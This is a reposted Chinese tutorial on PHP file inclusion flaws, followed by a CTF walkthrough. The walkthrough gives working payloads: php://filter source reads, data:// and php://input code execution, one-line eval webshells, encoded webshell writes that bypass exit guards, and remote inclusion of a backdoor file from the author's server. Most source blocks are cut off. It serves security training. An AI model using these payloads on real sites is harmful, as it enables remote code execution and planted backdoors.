【转载】文件包含
x01、什么是文件包含?
为了更好地使用代码的重用性,引入了文件包含函数,通过文件包含函数将文件包含进来,直接使用包含文件的代码,简单点来说就是一个文件里面包含另外一个或多个文件。
0x02、漏洞成因
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
0x03、php引发文件包含漏洞的四个函数
include() |
0x04、文件包含漏洞分类
4.1、本地文件包含漏洞顾名思义,指的是能打开并包含本地文件的漏洞。大多数情况下遇到的文件包含漏洞都是本地文件包含漏洞。
示例4.1: 以DVWA的靶场环境为例,靶场地址:http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file1.php
把DVWA Security的等级调到Low,在DVWA\vulnerabilities\fi\source\Low.php中有以下代码
<?php |
在DVWA\vulnerabilities\fi\source\index.php中Low.php又被包含在其中,这就构成了文件包含漏洞,而且被包含的文件还是我们可控的。
在file1同级目录下新建一个名为test.txt的文本文件,内容如下:
<?php |
访问http://127.0.0.1/DVWA/vulnerabilities/fi/?page=test.txt
文件包含可以包含任意文件,如图片,文本文件,压缩包等等,如果文件中有服务器能识别的脚本语言,就按照当前脚本语言执行,否则就直接显示出源代码。
4.2、远程文件包含漏洞是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在,危害性会很大。但远程文件包含漏洞的利用条件较为苛刻,需要php.ini中配置allow_url_fopen=Onallow_url_include=On
**示例4.2:**先打开目标服务器的php.ini文件进行以下相关设置,然后重启服务器
<?php |
目标服务器ip:192.168.1.114本机ip:192.168.1.106
访问http://192.168.1.114/DVWA/vulnerabilities/fi/?page=http://192.168.1.106/test2.txt
0x05、文件包含漏洞之伪协议
5.1、php://filter利用条件:只是读取,所以只需要开启allow_url_fopen,对allow_url_include不做要求
用法:
index.php?file=php://filter/read=convert.base64-encode/resource=xxx.php
通过指定末尾文件,可以读取经base64加密后的文件源码,虽然不能直接获取shell等,但能够读取敏感文件,危害还是是挺大的。
示例5.1:

利用条件:需要开启allow_url_include=on,对allow_url_fopen不做要求
用法:?file=php://input 数据利用POST传过去。
示例5.2:


条件: 使用zip协议,需要将#编码为%23,所以需要PHP 的版本> =5.3.0,要是因为版本的问题无法将#编码成%23,可以手动把#改成%23。
用法:?file=zip://[压缩文件路径]#[压缩文件内的子文件名]
**示例5.3:**在本地新建一个文件test.php,并且压缩成test.zip压缩包
5.4、phar://伪协议与zip://协议类似,但用法不同,zip://伪协议中是用#把压缩文件路径和压缩文件的子文件名隔开,而phar://伪协议中是用/把压缩文件路径和压缩文件的子文件名隔开,即?file=phar://[压缩文件路径]/[压缩文件内的子文件名]
示例5.4:
和php伪协议的input类似,也可以执行任意代码,但利用条件和用法不同
条件:allow_url_fopen参数与allow_url_include都需开启
用法1:?file=data:text/plain,用法2:?file=data:text/plain;base64,编码后的php代码
示例5.5:
5.6、file://伪协议file:// 用于访问本地文件系统,且不受allow_url_fopen与allow_url_include的影响。用法:?file=file://文件绝对路径
示例5.6
Level 0: include_base 体验关
源码
<?php |
解答:
解法很多,最简单的做法就是直接读/flag文件
payload:<font style="color:rgb(122, 122, 122);">?wrappers=/flag</font>
Level 1: file协议
源码
<?php |
解答:
详细解释可以参考官方题解,这里直接读取/flag文件
payload:<font style="color:rgb(122, 122, 122);">?wrappers=/flag</font>
Level 2: data协议_1
源码
<?php |
解答:
data伪协议后面跟php代码可以执行命令
个人常用payload,第三种直接后面跟一句话木马还是第一次见:
<font style="color:rgb(122, 122, 122);">data:text/plain,<?php system('命令');?></font>
<font style="color:rgb(122, 122, 122);">data:text/plain,<?=system('命令');?></font>
<font style="color:rgb(122, 122, 122);">data://text/plain,<?php eval($_POST['helloctf']);?></font>
此处随便挑一种即可
payload:<font style="color:rgb(122, 122, 122);">?wrappers=,<?php system('cat /flag');?></font>
Level 3: data协议_2
源码
<?php |
解答
仍然是data伪协议,但过滤了一些常见符号,可以用base64绕过
注:命令base64编码最后的**<font style="color:rgb(122, 122, 122);">=</font>***删除不影响解码结果*
<font style="color:rgb(122, 122, 122);">data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOyA/Pg</font>
(<font style="color:rgb(122, 122, 122);">,</font>后面为<font style="color:rgb(122, 122, 122);"><?php system('ls'); ?></font>的base64编码)
payload:<font style="color:rgb(122, 122, 122);">?wrappers=;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTsgPz4</font>
Level 4 http:// & https:// 协议
源码
<?php |
解答:
http伪协议,说实话还没在比赛题目里见过
本题提供了后门文件,可直接使用
payload:
?wrappers=127.0.0.1/backdoor.txt |
Level 5 http:// & https:// 协议_2
源码
<?php |
解答:
同样是http伪协议,且源码和上一题相同,但本题没有提供后门文件
官方wp的payload无法成功实现,这里本人提供一种方便的做法
同时打开上一题的环境,利用上一题环境中的后门文件进行命令执行
payload
?wrappers=123.56.166.154:32813/backdoor.txt |
注:123.56.166.154是本人的vps,可以替换成自己的ip地址
Level 6 php:// 协议
源码:
<?php |
解答:
经典的php伪协议,个人最常用的payload:<font style="color:rgb(122, 122, 122);">php://filter/read=convert.base64-encode/resource=/flag</font>
详细请看官方payload吧,比我总结的全面
php://input + [<?= system('tac flag.???');?>] |
Level 7 php://input 协议
源码
<?php |
解答
个人payload
注:不能使用hackbar,原因如题目内容所说——<font style="color:rgb(122, 122, 122);">php://input不支持post提交,其请求的参数格式是原生(Raw)的内容,无法使用hackbar提交,因为hackbar不支持raw方式 </font>
?wrappers=1 |
官方payload如下:
<?php eval($_GET['ctf']); ?> /* 间接代码执行 */ |
Level 8 php://filter_过滤器&字符串过滤器
源码
<?php |
解答
没看懂和level 6的区别
payload:<font style="color:rgb(122, 122, 122);">filter/read=convert.base64-encode/resource=/flag</font>
Level 9 php://filter_转换过滤器
源码
<?php |
解答
要求读取flag.php文件,继续使用上一题的payload
payload:filter/read=convert.base64-encode/resource=flag.php
php://filter/read=convert.base64-encode/resource=flag.php
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE/resource=flag.php
php://filter/convert.iconv.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
Level 10 文件系统函数_file_get_contents()
源码
<?php |
解答
file_get_contents函数,同样支持文件读取。
同时对文件内容进行了过滤,我们可以使用上一题的payload
payload:<font style="color:rgb(122, 122, 122);">?file=php://filter/read=convert.base64-encode/resource=/flag</font>
Level 11 文件系统函数_file_put_contents()
源码
<?php |
解答
file_put_contents函数,写入一段内容到文件中
同时对写入内容进行了过滤,可以使用Level 3的类似paylaod
?filename=php://filter/write=convert.base64-decode/resource=backdoor.php |
backdoor.php :
Level 11+ 死亡绕过
源码
<?php |
解答
写入字符串前面有死亡绕过,有多种绕过方式
方法一:base64绕过
GET:<font style="color:rgb(122, 122, 122);">?filename=php://filter/write=convert.base64-decode/resource=shell.php</font>
POST:<font style="color:rgb(122, 122, 122);">data=aaPD9waHAgQGV2YWwoJF9QT1NUWydhdyddKTsgPz4</font>
方法二:通过 rot13 编码实现绕过
GET:<font style="color:rgb(122, 122, 122);">?filename=php://filter/write=string.rot13/resource=shell.php</font>
POST:<font style="color:rgb(122, 122, 122);">data=<?cuc @riny($_TRG['pzq']);?></font>
方法三:通过usc-2编码实现绕过
GET:<font style="color:rgb(122, 122, 122);">?filename=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=jiuzhen.php</font>
POST:<font style="color:rgb(122, 122, 122);">data=?<hp pe@av(l_$OPTSj[]z;)>?</font>








